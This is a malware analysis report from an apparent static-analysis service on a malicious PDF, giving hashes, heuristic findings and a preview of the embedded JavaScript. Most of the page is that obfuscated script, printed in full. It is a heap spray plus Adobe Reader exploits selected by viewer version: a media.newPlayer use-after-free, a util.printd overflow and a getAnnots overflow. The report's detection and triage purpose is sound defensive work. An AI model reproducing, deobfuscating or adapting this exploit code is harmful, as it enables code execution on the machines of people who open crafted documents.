Malicious PDF — malware analysis report

Static analysis result for SHA-256 a80a93a1972a81e6…

MALICIOUS

PDF

18.8 KB Created: 2009-12-17 03:14:38 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 7.0.5 (Windows)) First seen: 2026-05-09
MD5: 9d3d9f970cdf6d91a13f3176a60a3d35 SHA-1: e3a2813ea23089c2cf1f973d8b202757770f6087 SHA-256: a80a93a1972a81e6a9933ab949c8fee79ed1beb59a36f6e0162585391a3955e7
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

This PDF document contains obfuscated JavaScript that attempts to perform a heap spray, indicated by multiple heuristic firings including 'PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY'. The script uses common obfuscation techniques like variable name mangling and the `unescape` function. While the exact payload is truncated, the heap spray behavior strongly suggests an attempt to exploit a vulnerability for client execution.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 8

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk = eval(tttttttttttttttttttttttttttttttttttttttttttttttt);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/xhtml In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0034_000.js pdf-javascript-stream PDF /JS object 34 at offset 0x3819 7315 bytes
SHA-256: b7f3fb3a9b30b5f5bd52f593b2cbb3c4238bf0a458ffd55e2af8b1c985859f10
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). 11 of 20 identifiers look randomly generated (e.g. 'cvvccccccvvccccccvvccccccvvccccccvvccccc') — consistent with name-mangling obfuscation. Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var asdfghjklasdfghjklasdfghjkl = app.viewerVersion;
var qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv = unescape;
var sasasdfdsewrewrewrwerewrewrewrrewrewrewrew=Array;
var llllllllllllllllllllllllllllllllllllllll = "cvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccccvvccccc";
var tttttttttttttttttttttttttttttttttttttttttttttttt = "llllllllllllllllllllllllllllllllllllllll"+".r"+"\x65pl\x61"+"ce("+"/c"+"vvc/"+"g,\x22\\x2"+"5\\x7"+"5\x22)";
var kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk = eval(tttttttttttttttttttttttttttttttttttttttttttttttt);
var lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv(kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk); //1
var xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x75\x30\x630\x63\x25\x75\x30\x630\x63"); //2
var wwsfsdfdsfxcfsjkljlsfjklewriopsdfdsfkjkljsfsdxvcdsfewrewrsdfsczfsdfwepooiwerewrewrewrsdfsdfxcvxcvcxvsdfewrewrewfsdkhjiyuzxvc = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x750c\x30c\x25\x750c0c\x25\x750c\x30c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u4141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141");

while(xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr.length <= 33768) xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr+=xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr;
xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr = xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr.substring(0,33768 - lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv.length);
me=new sasasdfdsewrewrewrwerewrewrewrrewrewrewrew();
for(poqwewiruewursdssf=0;poqwewiruewursdssf<0x888;poqwewiruewursdssf++) {
	me[poqwewiruewursdssf]= xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr + lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv;
}

if(((asdfghjklasdfghjklasdfghjkl >= 8.0) && (asdfghjklasdfghjklasdfghjkl <= 8.107)) || ((asdfghjklasdfghjklasdfghjkl >= 9.0) && (asdfghjklasdfghjklasdfghjkl <= 9.2)))
{    
   try {this["\x6de\x64i\x61"]["\x6ee\x77P\x6ca\x79e\x72"](null);} catch(er) {qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c");util["\x70r\x69n\x74d"](wwsfsdfdsfxcfsjkljlsfjklewriopsdfdsfkjkljsfsdxvcdsfewrewrsdfsczfsdfwepooiwerewrewrewrsdfsdfxcvxcvcxvsdfewrewrewfsdkhjiyuzxvc, new Date());}
}
else if((asdfghjklasdfghjklasdfghjkl >= 7.0) && (asdfghjklasdfghjklasdfghjkl <= 7.101))
{    
    var qwertyuiopasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjkl = -1023217728;
    this.getAnnots({nFilterBy:qwertyuiopasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjkl});
}